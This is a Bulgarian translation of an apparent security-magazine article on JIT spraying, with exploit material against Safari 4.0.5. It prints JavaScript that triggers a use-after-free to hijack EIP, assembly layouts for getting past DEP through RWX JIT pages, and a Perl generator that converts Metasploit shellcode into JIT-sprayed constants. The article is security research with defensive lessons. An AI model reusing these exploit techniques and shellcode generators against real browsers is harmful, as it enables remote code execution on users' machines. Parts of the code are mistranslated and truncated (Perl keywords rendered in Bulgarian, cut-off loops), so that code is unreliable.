JIT SPRAY е мъртъв! Да живее JIT SPRAY!
Съдържанието на статията
Работещ експлойт за 6 секунди
Ако не е уморен...
И така, защо се връщаме отново към тази тема? Факт е, че при подготовката за конференцията Hack In The Box миналия месец в Амстердам и ускоряването на времето за JIT SPRAY (от 8 минути на 6 секунди) с помощта на модифициран shellcode EGG-HUNTER (можете да прочетете за този тип shellcode в статията на Алексей Тюрин) в контекста на компилатора JIT, се оказа, че моделът на компилатора е променен в новата версия на Flashplayer версия 10.1 и JIT SPRAY вече не работи. Три седмици преди началото на конференцията трябваше да покажа нещо на колегите си, за да не отида в страната на мелниците и лалетата с акордеон с копчета, оттам и този материал, но нека започнем по ред ...
Изследователите обаче показват слабости в тези механизми, така че разработчиците да не се отпуснат и да знаят, че това не е достатъчно. Благодарение на работата на Dionysus, показвайки JIT SPRAY във Flash Player преди черните шапки, Adobe успя да поправи кода на JIT компилатора и по този начин да намали заплахата за своите потребители. И така, какво е JIT?
ТОЧНО НАВРЕМЕ
Уязвимост
Повторно използване на освободената памет в Safari 4.0.5. Вече описах тази уязвимост в един от предишните си рецензии, същността й е проста - изтриваме родителския обект, като същевременно поддържаме указател към него, след което извикваме метода, използвайки запазения указател. В резултат на това стойността се взема от повредената памет (която е освободена). В този случай стойността на указателя от таблицата vtable се оказва пренаписан аргумент на метода. Ето как поемаме контрола, а именно EIP регистъра:
var a = родител; // Указател към родител var buf = make_buf(unescape('%u0101%u0101'), 63000); a.prompt(alert); // запълванестойност на паметта 0x01010101 a.prompt(buf); a.close(); // изтриване на родителски обект // указател към функция promt() сега = 0x01010101 a.prompt(alert);
Инжектиране на код
Тъй като имаме система LITTLE-ENDIAN, процесорът приема стойностите "отзад напред" и вместо 0x0304 можем да напишем всякакви команди в операционните кодове. Но трябва да заменим 0x0201 стриктно с 14EB (EB14 = JMP + 0x14), за да прехвърлим управлението към единадесетия параметър. Когато говорихме за Flash, беше по-лесно, защото там параметрите вървяха един след друг, точно там имаме празнина от 20 (0x14) байта, така че последните два байта трябва да бъдат „изхарчени“ за прехода между параметрите. Например десетият и единадесетият параметър:
Ще бъде компилиран до: . . . 07070104 90 NOP 07070105 90 NOP 07070106 EB14 JMP 0707011C - 14 байта изрязани - 0707011C 90 NOP 0707011D CC INT3 0707011E EB14 JMP … . . .
Имаме връзка между параметри и изпълнение на код, първо празни оператори и след това прекъсване. И така, ние също заобиколихме DEP ...
JIT шелкод
Във Flash те бяха "R-X" (четене и изпълнение), но в Safari бяха "RWX", тоест можем да пишем и в паметта. Никога не оставяйте изпълнима памет за запис, защото този привидно малък недостатък прави възможно инжектирането на shellcode. Нека обясня: напълнихме паметта с RWX блокове и например прехвърлихме управлението на JIT блока 07070000. Там ще имаме асоцииран шелкод с команди от два байта.
Два байта болка
Автоматизация
Сега е време да напишем генератор на shellcode, който според горния алгоритъм ще генерира JIT shellcode. Да започваме работа! В metasploit генерираме shellcode във формат Perl. Избрах да стартирам калкулатора, без кодиране на shellcode. Ние не се нуждаем от това, първо, защотоJIT shellcode прекодира оригиналния shellcode доста добре - никоя антивирусна програма няма да го разпознае.
Второ, размерът на кода е по-малък. И така, има shellcode във формат Perl, който ще поставим в променливата $shellcode. Нека зададем високите байтове на страницата, където ще копираме този шелкод. Избрах 0x080A0000. Тъй като по-ниските байтове не ни интересуват, задавам само по-високите:
#Адрес с RWX - място за шелкод $addr="\x08\x0A"; #0x080A0000
Тъй като копираме целия шелкод с четири байта, е необходимо да го подравним, за това вземаме предвид размера на шелкода и с остатъка разделяме на 4. Ако остатъкът е 1, 2 или 3, тогава добавете боклук в края на шелкода:
$len=дължина($shellcode); $add=$len % 4; за($i=0;$i
Нека забравим за шелкода за известно време, необходима е подготовка; както си спомняме, за да може 0xXXYY0104 да сочи към началото на кода, е необходимо JIT кодът да започва с десетия аргумент. Затова, първо, нека оценим първите девет аргумента:
$offsetJit="\"0x22222222^\"+/* НАЧАЛО НА ОТСТЪПВАНЕ */\n". --------ОЩЕ 7 такива реда ----------"\"0x22222222^\"+ /*SHELLCODE ЗАПОЧВА*/\n";
$initJit="\"0x14EBC031^\"+//XOR EAX,EAX\n". "\"0x14EB01B4^\"+\n". "\"0x14EB00B0^\"+\n". "\"0x14EBE0F7^\"+// EAX=0x100*0x100\n". "\"0x14EBF08B^\"+// MOV ESI, EAX ;ESI=00010000 - MUL фактор\n".
Параметърът се връща назад, за да може да бъде интерпретиран правилно от процесора. Това означава, че аргументът за XOR 0x14EBC031 е нашият десети параметър. Когато поемем контрола, ще пренапишем EIP 0x07070104, който ще сочи директно към 0x31C0EB14. 0x31С0 е "XOR EAX, EAX". Така че ще нулираме регистъра и следващата команда - 0xEB14 - ще направи JMP +14 байта към следващия параметър - 0x14EB01B4. Четейки назад, получаваме "MOV AH, 01 / JMP 14". Тоест единица се вписва в регистъра на АХ, ипо-нататък - преминете към следващия параметър, AL вече е нулиран там. Така EAX=00000100. Тринадесетият параметър прави "MUL EAX", т.е. 0x100 се умножава по 0x100 и резултатът се въвежда в EAX - 0x00010000.
sprintf("\"0x14EB%02lxB4^\"+\n",ord substr($addr,0,1)). sprintf("\"0x14EB%02lxB0^\"+\n",или substr($addr,1,1)).
Този код генерира петнадесетия и шестнадесетия параметър чрез поставяне на първия и втория бит на $addr в регистрите AH и AL. Оказва се, че EAX = 0001080A. Блокът от трета категория остана след предишните операции, но не ни притеснява. Сега прехвърляме стойностите от по-ниските битове на EAX към по-високите и копираме стойността в ECX:
"\"0x14EBE6F7^\"+ // MUL ESI; EAX - RWX памет за shellcode\n". "\"0x14EBC88B^\"+ // mov ecx, eax; ECX - указател към RWE памет\n".
С това подготовката е завършена. В ECX - указател към страницата на паметта, където ще копираме шелкода, в ESI - множител, в EBX - стъпка на изместване. Нека започнем да копираме шелкода. Първо, копирайте байтовете назад.
#Конвертирайте shellcode в JIT код for($i=0; $i
И така, ние копираме байтовете в променливите $byteX. След това можете удобно да ги въведете в EAX:
$val.="\"0x14EBC031^\"+ //XOR EAX,EAX\n"; $val.= sprintf("\"0x14EB%02lxB4^\"+ //MOV AH\n",или $byte1); $val.= sprintf("\"0x14EB%02lxB0^\"+ //MOV AL\n",или $byte2); $val.= "\"0x14EBE6F7^\"+ //MUL ESI\n"; $val.= sprintf("\"0x14EB%02lxB4^\"+ //MOV AH\n",или $byte3); $val.= sprintf("\"0x14EB%02lxB0^\"+ //MOV AL\n",или $byte4);
$jumJit="\"0x14EB00B5^\"+ // mov ch, 00\n". "\"0x14EB00B1^\"+ // mov cl, 00 ;\n". "\"0x14EBE1FF^\"+ // JMP ECX ; ПЕЧАЛБА! \n";
Очевидно е, че разработването на JIT компилатор трябва да вземе предвид много нюанси. Не само трябва да се избягват грешки, водещи до отвличане, но също таканаправете кода така, че да не намалява функционалността за защита на ОС до нула. Следването на прости правила като „не оставяйте свободна памет за писане и изпълнение и не изпращайте потребителски стойности в изпълнима памет“ би направило невъзможно използването на JIT SPRAY. Така че сигурността не е само „безопасно програмиране“, но и безопасна архитектура. Отбелязвам, че една седмица след доклада за JIT SPRAY в браузъра Safari, VUPEN пусна експлойти за 0 дни за своите клиенти, използващи тази техника. Освен това нямам начин да тествам Safari JIT двигателя на Mac OS или iPhone / iPad, но ако архитектурата е подобна там, тогава тези платформи са в най-голяма опасност, тъй като браузърът обикновено се използва на тях.